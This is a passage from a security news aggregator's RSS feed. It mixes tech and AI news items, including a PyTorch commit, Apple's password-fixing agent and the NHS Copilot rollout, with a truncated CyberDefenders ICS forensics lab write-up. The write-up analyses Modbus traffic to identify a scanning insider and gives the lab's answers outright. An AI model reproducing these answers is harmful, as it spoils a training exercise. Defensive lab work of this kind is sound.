<p>Full changelog: <a href="https://github.com/Hmbown/CodeWhale/blob/codex/v0.8.56/CHANGELOG.md">https://github.com/Hmbown/CodeWhale/blob/codex/v0.8.56/CHANGELOG.md</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cloud Security In Practice]]></title>
<description><![CDATA[Introduction Think for a moment about of the last time you saved your word document on OneDrive, or the shared document you collaborated on with colleagues in Google Workspace, or...
The post Cloud Security In Practice appeared first on Cyber Defense Magazine.]]></description>
<link>https://tsecurity.de/de/3585911/it-security-nachrichten/cloud-security-in-practice/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3585911/it-security-nachrichten/cloud-security-in-practice/</guid>
<pubDate>Tue, 09 Jun 2026 22:08:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img width="1024" height="768" src="https://www.cyberdefensemagazine.com/wp-content/uploads/2026/06/Cloud-Security-in-Practice.png.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" link_thumbnail="" decoding="async" loading="lazy" srcset="https://www.cyberdefensemagazine.com/wp-content/uploads/2026/06/Cloud-Security-in-Practice.png.jpg 1024w, https://www.cyberdefensemagazine.com/wp-content/uploads/2026/06/Cloud-Security-in-Practice.png-768x576.jpg 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px"><p>Introduction Think for a moment about of the last time you saved your word document on OneDrive, or the shared document you collaborated on with colleagues in Google Workspace, or...</p>
<p>The post <a href="https://www.cyberdefensemagazine.com/cloud-security-in-practice/" data-wpel-link="internal">Cloud Security In Practice</a> appeared first on <a href="https://www.cyberdefensemagazine.com/" data-wpel-link="internal">Cyber Defense Magazine</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[trunk/060670aadfb5995aaf62aa31f2d7c23db24bd791: Preserve FX graph cache guard provenance (#184193)]]></title>
<description><![CDATA[Summary
Preserve source locations for Inductor guards that are saved in the FX graph cache, so a cache-hit recompile reason still points at the original guard producer instead of the cache replay site.
Fixes #141595
Generated by my agent
Root Cause
Without the FX graph cache, ShapeEnv records eac...]]></description>
<link>https://tsecurity.de/de/3585574/downloads/trunk060670aadfb5995aaf62aa31f2d7c23db24bd791-preserve-fx-graph-cache-guard-provenance-184193/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3585574/downloads/trunk060670aadfb5995aaf62aa31f2d7c23db24bd791-preserve-fx-graph-cache-guard-provenance-184193/</guid>
<pubDate>Tue, 09 Jun 2026 20:15:53 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Summary</h2>
<p>Preserve source locations for Inductor guards that are saved in the FX graph cache, so a cache-hit recompile reason still points at the original guard producer instead of the cache replay site.</p>
<p>Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2695664819" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/141595" data-hovercard-type="issue" data-hovercard-url="/pytorch/pytorch/issues/141595/hovercard" href="https://github.com/pytorch/pytorch/issues/141595">#141595</a><br>
Generated by my agent</p>
<h2>Root Cause</h2>
<p>Without the FX graph cache, <code>ShapeEnv</code> records each <code>ShapeGuard</code> with the source location captured when Inductor creates the guard, for example <code>can_use_32bit_indexing</code>.</p>
<p>On an FX graph cache hit, Inductor only had <code>CompiledFxGraph.guards_expr</code>, a single combined Python expression string. Re-evaluating that string installs equivalent guards in the current <code>ShapeEnv</code>, but the new guards get the replay callsite as their source location. That is why recompile logs pointed at <code>_lookup_graph</code>, <code>autograd_cache.py</code>, or <code>&lt;string&gt;:1</code> instead of the original Inductor guard.</p>
<h2>Review Guide</h2>
<ul>
<li><code>torch/fx/experimental/symbolic_shapes.py</code>: threads source locations alongside each produced guard expression, adds <code>ShapeGuardExpression</code>, and replays cached guards while temporarily using the stored source location for any <code>ShapeGuard</code> created by evaluation.</li>
<li><code>torch/_inductor/output_code.py</code>: adds optional cached metadata fields for the per-guard expression/source list and the SymInt argument count used when saving it.</li>
<li><code>torch/_inductor/codecache.py</code>: saves the new metadata, replays it on normal FX graph cache hits, and falls back to the existing combined-expression path for old cache entries, unsafe-skip mode, or AOTAutograd loads whose argument list differs.</li>
<li>Tests cover both the small <code>ShapeEnv</code> round trip and the original CUDA/flex-attention cache-hit failure mode.</li>
</ul>
<h2>Test Plan</h2>
<ul>
<li><code>PYTHONPATH=. python test/test_dynamic_shapes.py TestGuardsExpressions.test_guards_expression_source_info</code></li>
<li><code>PYTHONPATH=. python test/inductor/test_codecache.py TestFxGraphCache.test_cache_hit_inductor_guard_preserves_source</code></li>
<li><code>PYTHONPATH=. python test/dynamo/test_aot_autograd_cache.py AOTAutogradCacheTests.test_output_views_input_dynamic</code></li>
<li><code>lintrunner -a</code></li>
</ul>
<p>Pull Request resolved: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4468971201" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/184193" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/184193/hovercard" href="https://github.com/pytorch/pytorch/pull/184193">#184193</a><br>
Approved by: <a href="https://github.com/oulgen">https://github.com/oulgen</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I just saved $180 a year on my Google AI plan without losing my Drive storage - here's how]]></title>
<description><![CDATA[Google AI Plus just got cheaper, and it's the easiest way to reduce my Google One bill without giving up cloud storage or AI.]]></description>
<link>https://tsecurity.de/de/3585472/hacking/i-just-saved-180-a-year-on-my-google-ai-plan-without-losing-my-drive-storage-heres-how/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3585472/hacking/i-just-saved-180-a-year-on-my-google-ai-plan-without-losing-my-drive-storage-heres-how/</guid>
<pubDate>Tue, 09 Jun 2026 19:54:03 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Google AI Plus just got cheaper, and it's the easiest way to reduce my Google One bill without giving up cloud storage or AI.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Uses Agentic AI To Fix Your Compromised Passwords In iOS 27]]></title>
<description><![CDATA[Taking care of your online safety is about to get a whole lot easier for everyone. During its recent summer event, Apple showed off a massive update for its built-in Passwords app. Instead of just warning you about bad security habits, the app will soon use smart technology to log into websites a...]]></description>
<link>https://tsecurity.de/de/3585151/ios-mac-os/apple-uses-agentic-ai-to-fix-your-compromised-passwords-in-ios-27/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3585151/ios-mac-os/apple-uses-agentic-ai-to-fix-your-compromised-passwords-in-ios-27/</guid>
<pubDate>Tue, 09 Jun 2026 18:25:36 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Taking care of your online safety is about to get a whole lot easier for everyone. During its recent summer event, Apple showed off a massive update for its built-in Passwords app. Instead of just warning you about bad security habits, the app will soon use smart technology to log into websites and change weak or leaked login details on your behalf with just a single tap.



The app safely navigates websites to upgrade your weak credentials



This brand new tool builds on features that already exist. For a while, the system could scan your saved data and flag any password that was too simple or exposed in a data leak. However, fixing those alerts meant visiting every single website yourself to update them manually.



With the launch of the new software, a Fix Passwords button will appear in the security tab. When you tap it, the system securely opens Safari and acts like a smart digital helper. It automatically signs into your accounts, creates much stronger security keys, and updates your records without making you do any extra work.



You can watch the whole process happen in real time on your screen. The app displays status updates like signing in or saving your strong password right as it works. If you change your mind while the assistant is running, you can simply tap a button to cancel the action midway.



This helpful automation is part of a wave of changes coming to your iPhone later this year. To learn more about what else is changing, you can read our breakdown of every new Apple Intelligence feature arriving on your devices. The tool ensures your personal accounts stay highly secure, even if you lack the time to update them yourself.



You can try this out early if you download the developer test version, or you can wait for the final public rollout when Apple officially announces iOS 27 with hundreds of new features this coming September.]]></content:encoded>
</item>
<item>
<title><![CDATA[NHS Prescribes Half a Million Copilot Licenses For Its Paperwork Headache]]></title>
<description><![CDATA[NHS England plans to roll out Microsoft Copilot to 505,000 clinicians and support staff after a 30,000-person pilot claimed the AI assistant saved users an average of 43 minutes a day on administrative work. The Register reports: The rollout won't happen overnight. NHS England said that each trus...]]></description>
<link>https://tsecurity.de/de/3585147/it-security-nachrichten/nhs-prescribes-half-a-million-copilot-licenses-for-its-paperwork-headache/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3585147/it-security-nachrichten/nhs-prescribes-half-a-million-copilot-licenses-for-its-paperwork-headache/</guid>
<pubDate>Tue, 09 Jun 2026 18:24:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[NHS England plans to roll out Microsoft Copilot to 505,000 clinicians and support staff after a 30,000-person pilot claimed the AI assistant saved users an average of 43 minutes a day on administrative work. The Register reports: The rollout won't happen overnight. NHS England said that each trust will receive a central allocation of licenses based on headcount, typically starting with around 2,000 Copilot seats, and that more than half a million staff are expected to have access by October 2026. The NHS has no shortage of administrative work to throw at the software. The rollout envisions Copilot helping with discharge paperwork, bed management, rota planning, meeting minutes, board papers, briefings, data analysis, and assorted HR, finance, and procurement tasks.
 
NHS organizations will also receive access to Copilot Studio, Microsoft's toolkit for building custom AI agents. NHS England said trusts will be able to develop agents for tasks such as handling Freedom of Information requests, processing complaints, reducing helpdesk workloads, and assisting with financial analysis. A governance framework called Agent 365 will oversee the deployment of those systems.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=NHS+Prescribes+Half+a+Million+Copilot+Licenses+For+Its+Paperwork+Headache%3A+https%3A%2F%2Fslashdot.org%2Fstory%2F26%2F06%2F08%2F2325249%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fslashdot.org%2Fstory%2F26%2F06%2F08%2F2325249%2Fnhs-prescribes-half-a-million-copilot-licenses-for-its-paperwork-headache%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://slashdot.org/story/26/06/08/2325249/nhs-prescribes-half-a-million-copilot-licenses-for-its-paperwork-headache?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Download Official iPadOS 27 Wallpaper for iPad in 4K Resolution]]></title>
<description><![CDATA[Apple has introduced iPadOS 27 at WWDC 2026, and along with the new software update, the company has also released a fresh wallpaper design for iPad users. The new wallpaper follows Apple's latest Celosia design language.



The new Celosia wallpaper features sweeping shapes inspired by flower pe...]]></description>
<link>https://tsecurity.de/de/3584746/ios-mac-os/download-official-ipados-27-wallpaper-for-ipad-in-4k-resolution/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3584746/ios-mac-os/download-official-ipados-27-wallpaper-for-ipad-in-4k-resolution/</guid>
<pubDate>Tue, 09 Jun 2026 15:53:42 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has introduced iPadOS 27 at WWDC 2026, and along with the new software update, the company has also released a fresh wallpaper design for iPad users. The new wallpaper follows Apple's latest Celosia design language.



The new Celosia wallpaper features sweeping shapes inspired by flower petals and folded paper. The Light version blends warm gold and purple shades, while the Dark version uses deeper blue and indigo tones with subtle highlights. Apple also offers a Dynamic version that changes throughout the day and a Color version that lets users apply their preferred tint.



The same wallpaper works on both the Lock Screen and Home Screen, creating a consistent look across the entire iPad experience.



Available Wallpaper Variants



iPadOS-27-Wallpaper-HomeScreen-LightDownload



iPadOS-27-Wallpaper-HomeScreen-DynamicDownload



iPadOS-27-Wallpaper-HomeScreen-DarkDownload



iPadOS-27-Wallpaper-HomeScreen-ColorDownload



How to Download and Apply the Wallpaper




Open the wallpaper download link on your iPad.



Press and hold the image.



Select Save to Photos.



Open the Settings app.



Tap Wallpaper.



Choose Add New Wallpaper.



Select the downloaded image from your Photos library.



Apply it to your Lock Screen, Home Screen, or both.




You can also customize your wallpaper directly by long-pressing the Lock Screen and selecting Customize, then choosing the saved image from Photos.



The new iPadOS 27 wallpaper is a simple way to bring Apple's latest design style to your device, even if you have not installed the developer beta.]]></content:encoded>
</item>
<item>
<title><![CDATA[It’s the year of AI transformation for these three industries. Here’s why]]></title>
<description><![CDATA[For CIOs across every industry, enterprise AI is inescapable right now. Everyone has a pilot running, every conference has a keynote about transformation and every vendor is promising agents that will change everything.



But underneath the surface, I’ve noticed that the organizations making the...]]></description>
<link>https://tsecurity.de/de/3584095/it-security-nachrichten/its-the-year-of-ai-transformation-for-these-three-industries-heres-why/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3584095/it-security-nachrichten/its-the-year-of-ai-transformation-for-these-three-industries-heres-why/</guid>
<pubDate>Tue, 09 Jun 2026 12:09:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>For CIOs across every industry, enterprise AI is inescapable right now. Everyone has a pilot running, every conference has a keynote about transformation and every vendor is promising agents that will change everything.</p>



<p>But underneath the surface, I’ve noticed that the organizations making the most meaningful headway are clustering in three industries: financial services, industrials and healthcare. That’s because these sectors share a specific combination of factors that make them well-suited for what frontier LLMs in 2026 are best at. Each of these industries is drowning in unstructured data, their best people spend too much time on low-value, document-heavy work, and the underlying infrastructure is in place (cloud storage, APIs, data warehouses). All that’s been missing is a layer intelligent enough to put it to work, and now that layer exists.</p>



<h2 class="wp-block-heading">Financial services: Sitting on a goldmine</h2>



<p>Financial services has been data-rich and insight-poor for decades. The problem was never a lack of information, rather, that the information lived in PDFs, SharePoint sites and folders that nobody could easily access or analyze at scale. Resultingly, decisions were made without full context, compliance work was done manually under time pressure and senior people spent their hours on tasks that shouldn’t require their expertise. AI changes all of that.</p>



<p><a href="https://kpmg.com/us/en/articles/2025/unlocking-power-ai-private-equity.html" rel="nofollow">According to KPMG research</a>, 80% of PE leaders view generative AI as a critical component for gaining competitive advantage and market share. 91% believe AI has already strengthened their competitive position, and more than half are already seeing a return on their investment.</p>



<p>I spoke recently with a CIO at a large wealth management firm who described the moment it clicked for their team. They had been trying to figure out how to get their advisors to do more proactive outreach by reaching the right clients at the right moment rather than reacting slowly to inbound calls. The issue here was that pulling together existing information and context manually wasn’t something any advisor had time to do. So, they built an AI workflow that runs on a trigger each morning and analyzes client portfolios, market conditions and advisor notes. Then, it generates a prioritized outreach list with suggested talking points. It now runs across their entire book of business.</p>



<p>Here’s another example. I’ve seen multiple private equity firms using AI agents to generate portfolio summaries, extract data from quarterly reports and run fundamentals-based valuations. That’s work that used to consume analyst hours every week before an investment committee meeting.</p>



<p>What makes financial services ready for this moment is partly about infrastructure. Most institutions already have centralized document stores, CRMs and data warehouses. They don’t need to build the foundation. They need an intelligent layer on top of what already exists. The other factor is regulatory pressure: It’s not glamorous, but AI that can demonstrate auditability and consistency has a tangible advantage in compliance-heavy environments. Consistency is something humans, under volume and time pressure, struggle to deliver and it’s particularly important for financial institutions given the amount of sensitive data they work with.</p>



<p>For CIOs thinking about where to start, I’d say that document-heavy workflows are almost always the right entry point. Term sheet parsing, compliance matrix generation, report summarization. They’re well-defined, they happen constantly and the ROI is easy to measure. Build for auditability from the beginning: Every run must be logged, every output must be cited and human-in-the-loop should almost always be involved. Lastly, I think we’ll see fewer chatbots and more trigger-configured agents in 2026, as the highest-value financial AI in production today runs on event-based logic, not on-demand queries.</p>



<h2 class="wp-block-heading">Industrials: Where traditional automation always broke down</h2>



<p>Industrial companies — spanning construction, manufacturing, logistics/shipping, engineering and more — have historically been underserved by enterprise software, which is a structural issue. The workflows span physical and digital worlds in ways that make them challenging to automate through conventional means: Tenders arrive as PDFs in someone’s inbox; quality inspections happen on a factory floor; freight analysis requires pulling data from a dozen carrier systems that don’t talk to each other, and often, from people who <em>literally</em> speak different languages.</p>



<p>But everything has changed. According to a <a href="https://manufacturingleadershipcouncil.com/survey-genai-adoption-surges-as-manufacturers-continue-to-grapple-with-data-skills-issues-39942/?stream=ml-journal" rel="nofollow">2026 survey by the Manufacturing Leadership Council</a>, 90% of manufacturers surveyed say they will increase generative AI usage in the next two years.</p>



<p>I had a conversation last year with the CIO of a major national distribution company, where he told me that they’d automated their freight analysis reports entirely, going from a chatbot-style prototype to a fully templated, automated report that runs on a schedule and lands in the right inboxes.</p>



<p>Another global consumer goods manufacturer I worked with now processes quality inspection sheets from production lines through AI, automatically flagging anomalies before they become problems.</p>



<p>And one of the largest civil engineering firms in the U.S. now uses AI to do quality control on bridge inspection reports, check engineering calculations and navigate RFP documents, significantly reducing the review burden on senior engineers who were previously spending time on work that simply didn’t require their expertise.</p>



<p>The thing I’ve heard CIOs in the industrial sector tell me is that the skilled worker shortage is real and getting worse. They have experienced people who are spending a significant portion of their time on tasks that could be automated. Giving those hours back to them is the value proposition.</p>



<p>In 2026, AI excels precisely where RPA and EDI always broke down: unstructured inputs, variable formatting, anomalous edge cases. So, the practical advice here is to target the gap between documents and systems: That’s the place where a human is manually transcribing data from one format into another. Start with one high-volume vendor or one product line, design the workflow and track the ROI.</p>



<h2 class="wp-block-heading">Healthcare: The burnout crisis that AI is starting to solve</h2>



<p>Healthcare has been the most cautious sector for extremely legitimate reasons. PHI/PII, HIPAA, GDPR, the complexity of clinical workflows…the bar is higher here, as it should be. But already this year I’ve watched healthcare move from cautious experimentation into production deployment, and the driver is the combination of enterprise-grade security controls and a clinician burnout crisis that has become impossible to ignore. <a href="https://www.mckinsey.com/industries/healthcare/our-insights/generative-ai-in-healthcare-current-trends-and-future-outlook" rel="nofollow">According to McKinsey,</a> half of healthcare leaders report that their organizations have already implemented generative AI.</p>



<p>The use case I keep coming back to is clinical note generation. I’ve seen multiple healthcare organizations (virtual care platforms, primary care networks and more) deploy AI that listens to patient encounters and produces structured SOAP notes. One organization has been continuously improving this workflow and is now on their fifth or sixth version of the workflow. But they started seeing the impact from day one: The documentation burden on physicians is real, and can consume one to two hours per day, time that should be with patients. Reducing that by 60 to 70 percent is life changing.</p>



<p>Beyond documentation, I’m seeing AI handle patient intake and onboarding through conversational workflows that gather history, insurance information and chief complaint before the visit, integrating with EHRs to ensure continuity. Remote patient monitoring programs are using AI to triage incoming data and automatically escalate concerning readings to clinical staff, allowing home health programs to scale without proportional increases in headcount. Finally, on the administrative side, AI is now doing clinical billing compliance review: Checking documentation against billing codes before claims are submitted, reducing denial rates and audit risk.</p>



<p>My advice to healthcare CIOs is, after identifying a platform with HIPAA compliance and rigorous governance, to start with use cases in billing compliance, prior authorization and patient communication. Build organizational confidence there before moving into the clinical workflow layer while measuring clinician time saved as your primary ROI metric. Cost reduction matters, but hours returned to patient care is the number that will get you continued investment and internal support.</p>



<h2 class="wp-block-heading">The high-level patterns</h2>



<p>The industries I’ve identified in this article are ripe for AI transformation. When we step back from the specific use cases, the same conditions show up across all three sectors. Firstly, there are massive volumes of unstructured data that traditional automation has never been able to touch. Secondly, there is high-value human expertise being consumed by low-value data processing and shuffling. Lastly, the underlying tool infrastructure is mature enough to support an intelligent layer on top.</p>



<p>CIOs in these industries should aim to identify high-impact workflows, deploy AI that integrates deeply with those processes and be prepared to iterate. The result will be millions in operational savings.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.csoonline.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How IKEA turned a €13 million chatbot into a €1.3 billion business]]></title>
<description><![CDATA[In 2021, Ingka Group, the main operator of IKEA stores, launched a chatbot called Billie. Its objective was typical of a conversational assistant: to answer routine customer inquiries, such as product availability, delivery times, or order status.



As is typical for the use case, Billie’s launc...]]></description>
<link>https://tsecurity.de/de/3584002/it-security-nachrichten/how-ikea-turned-a-13-million-chatbot-into-a-13-billion-business/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3584002/it-security-nachrichten/how-ikea-turned-a-13-million-chatbot-into-a-13-billion-business/</guid>
<pubDate>Tue, 09 Jun 2026 11:38:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>In 2021, Ingka Group, the main operator of IKEA stores, launched a chatbot called Billie. Its objective was typical of a conversational assistant: to answer routine customer inquiries, such as product availability, delivery times, or order status.</p>



<p>As is typical for the use case, Billie’s launch freed up call center teams from repetitive tasks. Between 2021 and 2023, Billie handled 3.2 million interactions and resolved approximately 47% of those inquiries, resulting in cost savings of €13 million.</p>



<p>On the horizon loomed an uncomfortable consequence: 8,500 people in call centers whose work, for the most part, was being done by machines. The direct question was clear: what to do with a workforce that was suddenly difficult to justify? It was a matter of costs, and the answer would have been predictable.</p>



<p>But IKEA did not ask itself that question.</p>



<p>Instead of trying to cut costs by reducing that team, the company looked in a different direction. They focused on where AI fell short.</p>



<p>While Billie answered 47% of the queries, that left 53% that it couldn’t resolve. After analyzing those requests, IKEA discovered that it wasn’t a matter of optimization that would be solved with the next version of the model. That’s because customers weren’t calling just to find out whether a sofa was in stock. They wanted to know whether it would look good in their living room, and they expected a person on the other end to advise them.</p>



<p>That changed everything. <a href="https://www.cio.com/article/3625933/como-trabaja-ikea-con-la-ia-30-000-empleados-formados.html">IKEA repurposed its 8,500 call center employees as remote interior design consultants</a>. What had been a limited-reach service was scaled up to become a remote sales channel operated by thousands of human consultants via video and telephone.</p>



<p>In other words, the cost center became a revenue stream that generated €1.3 billion in its first full year, 3.3% of IKEA’s revenue. The company told <a href="https://www.reuters.com/technology/ikea-bets-remote-interior-design-ai-changes-sales-strategy-2023-06-13" target="_blank" rel="nofollow">Reuters</a> that it aims to increase this to 10% by 2028. Four years later, the experiment is now a well-established strategy.</p>



<h2 class="wp-block-heading">A new perspective on what AI reveals</h2>



<p>Most AI initiatives focus on the AI ​​itself. In the case of a chatbot, organizations pursue metrics such as how many queries it handles, how much the cost per interaction decreases, or how many hours it frees up. These are the figures requested by management, provided by the vendor, and included in the reporting.</p>



<p>But there’s another perspective that goes in the opposite direction: focusing on what AI reveals that was previously unseen. In IKEA’s case, it was a need that its customers had had for decades and one that the company had never been able to identify as a business opportunity: an interior design consultant .</p>



<p>This situation isn’t limited to the furniture sector. For example, a legal team might encounter business inquiries they never had time to address, and a technical service that automates first-level support might uncover underlying problems that no one was paying attention to. Every sector has its own specific cases.</p>



<p>The difference between the two approaches translates into figures. Looking inward for AI efficiencies saved IKEA €13 million. Looking outward for new opportunities generated €1.3 billion in revenue. One hundred times more, to the point that the company barely mentions the initial savings.</p>



<p>AI solves known questions, but the real business value lies in the ones it opens up.</p>



<p>But identifying the opportunity is only half the battle. The other half is deciding what to do with it, and that’s where almost everyone backs out.</p>



<p>The immediate solution, the one no one discusses in a committee, was to cut a workforce that AI had rendered obsolete. Who, instead, decides to redefine 8,500 people and invest in a service that barely existed? It’s a risky strategic decision, one that goes against the grain — specifically against the direct savings shown in the reports.</p>



<p>Here’s the key: IKEA went beyond an AI project. It created a new function within the business. It didn’t just relocate people for the sake of relocating them. It identified an unmet need and built, on top of its existing in-house capabilities, a service capable of addressing it.</p>



<p>This way of thinking moves beyond the classic machine-vs.-person debate — i.e., how many jobs AI replaces or destroys — to enter another: what new opportunities AI reveals, and what we decide to build with it.</p>



<h2 class="wp-block-heading">AI opens a new path for the CIO</h2>



<p>It’s easy to think it was a visionary who discovered an opportunity. In this case, there wasn’t one. What there was, however, was a structure where the question could arise. And the key wasn’t that they had an AI task force (something common in large companies) but something almost no one has: the head of technology and the head of people sitting at the same table, not on two separate committees.</p>



<p>Creating these conditions is within the CIO’s reach. This case illustrates how AI presents a decision for the CIO, one that many are unaware of.</p>



<p>Two paths open up. One is to do what’s expected: execute, deploy the AI, measure its performance, report the savings, and move on to the next use case. It’s a respectable, and predictable, approach. The other is to open a different conversation: what does each deployment reveal, what unmet needs emerge when the tool takes over operations, what skills lie dormant in employees because no one has asked them to develop them? You can start by raising these questions in the next meeting; there’s no need to start by creating a new committee.</p>



<p>The first approach treats AI as a technical project. The second treats it as what it is: a business initiative that passes through the CIO’s hands before anyone else’s.</p>



<p>What’s at stake isn’t just the outcome of the initiative. It’s what kind of CIO emerges from each path. AI is rewriting the CIO’s role, whether they like it or not. The real choice is whether they sit in the pilot’s seat or the passenger seat.</p>



<p>It’s not about the CIO coming up with the next billion-dollar service, but about creating the space where that opportunity can emerge and reach those who recognize it. This involves making decisions that don’t generate headlines, such as bringing technology and business representatives together to compare their perspectives on AI — something that takes time and goes against rushing.</p>



<p>This demands something of the CIO that the role didn’t prepare them for: to make decisions with a different logic. Not the logic of fitting into the reporting framework, but the logic of seeking out opportunities that aren’t guaranteed. No one is going to force them to look beyond AI. That’s why almost no one does. But that’s precisely the space that AI opens up, and where they can define their path and gain new influence within the organization. AI isn’t taking their job away; it’s offering them a bigger one.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[SolarDisruption Lab Writeup (CyberDefenders)]]></title>
<description><![CDATA[Scenario:You are a cybersecurity analyst working in the Security Operations Center (SOC) at AetherCore Technologies, a company that provides engineering and manufacturing services for electronic products, including industrial solar energy systems. AetherCore relies on programmable logic controlle...]]></description>
<link>https://tsecurity.de/de/3583938/hacking/solardisruption-lab-writeup-cyberdefenders/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3583938/hacking/solardisruption-lab-writeup-cyberdefenders/</guid>
<pubDate>Tue, 09 Jun 2026 11:08:55 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*aPey0Uib-Z-_62D8MpiwxA.jpeg"></figure><h4>Scenario:</h4><p>You are a cybersecurity analyst working in the Security Operations Center (SOC) at AetherCore Technologies, a company that provides engineering and manufacturing services for electronic products, including industrial solar energy systems. AetherCore relies on programmable logic controllers (PLCs) to manage the solar panel systems in its facilities. These systems are critical for maintaining the company’s solar energy production and efficient operation.</p><p>Recently, AetherCore’s engineering team reported a significant disruption in their solar panel operations. Several panels have gone offline, and attempts to remotely restart them have failed. The incident occurred shortly after 16:10, following a spike in network activity. Initial hardware checks found no physical issues with the panels or the PLCs.</p><p>You and your team have been tasked with investigating whether this outage was caused by a cybersecurity incident. There is suspicion that an insider threat may be involved, using their access to the network to manipulate the PLCs and disrupt solar panel operations.</p><blockquote><strong><em>Q1: In the provided packet capture, several protocols are present, but one stands out for its popularity in Industrial Control Systems and Programmable Logic Controllers (PLCs).It is used to transmit data between devices like PLCs and sensors, allowing real-time monitoring and process control. What is the name of this protocol?</em></strong></blockquote><p>It is a protocol used in industrial systems for real-time data exchange between controllers and field devices like sensors and actuators.</p><blockquote><strong>Answer1 → </strong><em>modbus</em></blockquote><blockquote><strong><em>Q2: Some analysis tools offer a histogram view of the packet capture, which visualizes network activity over time and helps analysts identify patterns, trends, or anomalies such as traffic spikes.<br>Determine the duration of the traffic spike in the packet capture, rounding the result to the nearest second, and provide your answer in seconds.</em></strong></blockquote><p>Now we need to visualize the packet capture to know the spike from the graph, and calculate the duration of this spike. from <strong>statistics -&gt; I/O Graphs</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*1MK8nkJ73Jg-GRLi9BqYbw.png"><figcaption><strong>We can see here the peak (spike)</strong></figcaption></figure><p>Now we need to get the duration of this spike, just by hovering on the 2 intervals of this spike, we can get the right duration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6rGc5I7VENEVngFdqavfIw.png"></figure><p>if you hover the mouse on these 2 blue circles intervals of the spike, you can get the time as the black circle shows down.</p><p>First interval line time = 454</p><p>Second interval time = 463</p><blockquote><strong>Answer2 → </strong><em>9</em></blockquote><blockquote><strong><em>Q3: Traffic spikes are often linked to scanning activities by adversaries, which become evident when a single host IP generates a large number of requests within a short period.<br>What is the IP address responsible for the traffic spike?</em></strong></blockquote><p>By selecting any point between the spike intervals, you can find the source ip address as shown in the following image</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S65SpjrVrUxWHcugCyr8eA.png"></figure><blockquote><strong>Answer3 → </strong><em>192.168.228.203</em></blockquote><blockquote><strong><em>Q4: After identifying the attacker's IP address, the next step is to determine which network hosts the attacker interacted with a process known as host discovery. <br>This involves analyzing the traffic to see how many devices or systems the attacker communicated with on the network. Based on the packet capture analysis, how many hosts did the attacker discover?</em></strong></blockquote><p>First, we need to filter for the ip address we got (the attacker’s ip address)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/210/1*C85W7eQwKvEi9jnom-6nCQ.png"></figure><p>Then see all his communication with its same network discovery (within the same subnet as the attacker “192.168.228.xxx”)</p><p>First go to statistics -&gt; Conversations to list all conversations</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/171/1*_h2RsgZDwmBom4Z6wlsBDA.png"></figure><p>You'll find the conversion just like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/228/1*frMrXa94w5FOwyVTS_C1eg.png"></figure><p>But we need to get only ip addresses with the same subnet.<br>The image has 8 conversation, FOCUS a little bit on the penultimate line!!</p><figure><img alt="" 